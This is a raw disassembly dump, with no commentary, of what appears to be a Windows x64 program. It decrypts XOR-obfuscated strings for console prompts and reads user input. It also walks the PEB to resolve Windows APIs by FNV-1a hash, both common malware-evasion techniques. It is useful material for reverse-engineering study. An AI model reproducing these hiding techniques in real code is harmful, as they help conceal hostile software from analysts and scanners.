movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movd xmm1, dword [rsp + 0x64]
psubd xmm2, xmm0
andps xmm2, xmm11
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x12
jl 0x1400096a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140278000]
call fcn.140001ca0
movups xmm2, xmmword [0x14007a0b0]
movzx eax, byte [0x14007a0c0]
xor ecx, ecx
mov byte [rsp + 0x68], al
movups xmmword [rsp + 0x58], xmm2
cmp r12d, 2
jl 0x1400098b8
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movd xmm1, dword [rsp + 0x64]
psubd xmm2, xmm0
andps xmm2, xmm11
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x11
jl 0x1400098d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140278020]
call fcn.140001ca0
cmp byte [0x14007a0d3], r13b
movsd xmm0, qword [str.w__PD]
mov edx, dword [0x14007a0d0]
movsd qword [rbp - 0x28], xmm0
mov dword [rbp - 0x20], edx
je 0x140009ab6
xor ecx, ecx
cmp r12d, 2
jl 0x140009a83
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.w__PD]
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x24]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp - 0x24], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x20], xmm2
jmp 0x140009ab6
lea r8, [rbp - 0x28]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
mul ecx
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0xc
jl 0x140009a90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x28]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140278040]
call fcn.140001ca0
xorps xmm0, xmm0
mov qword [rbp + 0x18], r13
xor r8d, r8d
mov qword [rbp + 0x20], r13
lea rdx, [0x140079e99]
lea rcx, [rbp + 8]
movups xmmword [rbp + 8], xmm0
call fcn.1400021c0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdi, [0x140278040]
mov rbx, qword [0x140278050]
xorps xmm0, xmm0
cmova rdi, qword [0x140278040]
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmmword [rsp + 0x58], xmm0
cmp rbx, r14
ja 0x14000bf1c
cmp rbx, 0xf
ja 0x140009b52
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x58], xmm0
jmp 0x140009ba7
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x140009b63
mov rax, r14
jmp 0x140009b70
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call fcn.140002150
mov rcx, qword [rsp + 0x50]
lea r8, [rbx + 1]
mov qword [rsp + 0x70], rcx
mov rdx, rdi
mov rcx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdi, [0x140278020]
mov rbx, qword [0x140278030]
xorps xmm0, xmm0
cmova rdi, qword [0x140278020]
mov qword [rbp - 8], r13
mov qword [rbp], r13
movups xmmword [rbp - 0x18], xmm0
cmp rbx, r14
ja 0x14000bf1c
cmp rbx, 0xf
ja 0x140009bf8
mov qword [rbp - 8], rbx
mov qword [rbp], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x18], xmm0
jmp 0x140009c49
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x140009c09
mov rax, r14
jmp 0x140009c16
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x18]
call fcn.140002150
mov rcx, qword [rsp + 0x50]
lea r8, [rbx + 1]
mov qword [rbp], rcx
mov rdx, rdi
mov rcx, rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdi, [0x140278000]
mov rbx, qword [0x140278010]
xorps xmm0, xmm0
cmova rdi, qword [0x140278000]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
movups xmmword [rbp - 0x50], xmm0
cmp rbx, r14
ja 0x14000bf1c
cmp rbx, 0xf
ja 0x140009c9a
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x50], xmm0
jmp 0x140009ceb
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x140009cab
mov rax, r14
jmp 0x140009cb8
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x50]
call fcn.140002150
mov rcx, qword [rsp + 0x50]
lea r8, [rbx + 1]
mov qword [rbp - 0x38], rcx
mov rdx, rdi
mov rcx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 8]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x50]
lea rcx, [0x140278950]
call fcn.140021bf0
cmp byte [0x140278b60], r13b
jne 0x14000a7a9
cmp byte [reloc.WS2_32.dll_gethostname], r13b
mov rax, qword [str.8vFGYE29Q_G5Q_G5_BTZ_]
mov qword [rsp + 0x50], rax
je 0x140009e46
xor ecx, ecx
cmp r12d, 2
jl 0x140009e11
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm9
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x50]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm6
pmuldq xmm0, xmm10
movdqa xmm2, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x140009e46
lea r8, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
mul ecx
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 8
jl 0x140009e20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140001ef0
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x140009306
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009ef8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009ef8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009ef3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009ed0
cmp edx, 0x2fa62ca8
je 0x14000a342
test r8d, r8d
jne 0x140009eb0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400092fd
cmp qword [rax + 0x30], r13
jne 0x140009e80
jmp 0x1400092fd
test r10, r10
jne 0x140009fd7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009fb8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009fb8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009fb3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009f90
cmp edx, 0x491e0a9c
je 0x14000a060
test r8d, r8d
jne 0x140009f70
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009fcd
cmp qword [rax + 0x30], r13
jne 0x140009f40
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x14007a107], r13b
mov eax, dword [0x14007a104]
mov dword [rsp + 0x38], eax
je 0x14000a0ba
xor r8d, r8d
cmp r12d, 2
jl 0x14000a07d
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rsp + 0x38], xmm1
jmp 0x14000a0ba
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140009fd0
lea r9, [rsp + 0x38]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14000a090
lea rcx, [rsp + 0x38]
call r10
movzx eax, word [0x14007a114]
xor ecx, ecx
movsd xmm0, qword [0x14007a108]
mov edx, dword [str.sULHJ5_]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp - 0x54], ax
movzx eax, byte [0x14007a116]
mov byte [rbp - 0x52], al
movsd qword [rbp - 0x60], xmm0
mov dword [rbp - 0x58], edx
cmp r12d, 2
jl 0x14000a234
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
mov ecx, listen
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14007a108]
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rbp - 0x60], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp - 0x5c], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x58], xmm2
mov eax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xf
jl 0x14000a240
lea rdx, [rbp - 0x60]
mov rcx, r9
call fcn.140001ef0
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x140009306
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a324
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a324
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a31f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a300
cmp edx, 0x2fa62ca8
je 0x14000a342
test r8d, r8d
jne 0x14000a2e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400092fd
cmp qword [rax + 0x30], r13
jne 0x14000a2b0
jmp 0x1400092fd
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r9
mov qword [0x140278cd0], rax
call rax
jmp 0x140008282
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [0x14007a081], r13b
movups xmm2, xmmword [str.8_AVUD_JI_IQRF______g__K]
movzx eax, word [0x14007a080]
movsd xmm0, qword [0x14007a078]
movups xmmword [rsp + 0x58], xmm2
mov word [rsp + 0x70], ax
movsd qword [rsp + 0x68], xmm0
je 0x14000a65f
xor ecx, ecx
cmp r12d, 2
jl 0x14000a623
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm8, xmm0
movdqa xmm2, xmmword [0x14007a1e0]
andps xmm8, xmm11
movdqa xmm3, xmmword [0x14007a1f0]
movd xmm1, dword [rsp + 0x64]
packuswb xmm8, xmm8
movd xmm0, ecx
packuswb xmm8, xmm8
paddb xmm8, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm8, xmm1
pmuldq xmm0, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
movd dword [rsp + 0x64], xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm10
punpckldq xmm1, xmm3
pmuldq xmm1, xmm10
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm12
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm11
mov ecx, Ordinal_27
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rsp + 0x6c], xmm3
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x1a
jl 0x14000a630
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov r10, qword [0x140278cb0]
test r10, r10
jne 0x14000a737
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a718
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a718
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a713
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a6f0
cmp edx, 0x491e0a9c
je 0x14000a78f
test r8d, r8d
jne 0x14000a6d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a72d
cmp qword [rax + 0x30], r13
jne 0x14000a6a0
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x14007a093], r13b
mov eax, dword [0x14007a090]
mov dword [rsp + 0x30], eax
je 0x14000aafa
xor r8d, r8d
cmp r12d, 2
jge 0x14000aa3b
lea r9, [rsp + 0x30]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14000a760
jmp 0x14000aafa
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x14000a730
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r13b
movups xmm0, xmmword [str.8_AVUD_JI_IQRF_3__62_:_.k_DO]
mov eax, dword [0x14007a0f0]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14007a0f4]
movups xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x74], ax
movsd xmm0, qword [0x14007a0e8]
movsd qword [rsp + 0x68], xmm0
je 0x14000a93f
xor ecx, ecx
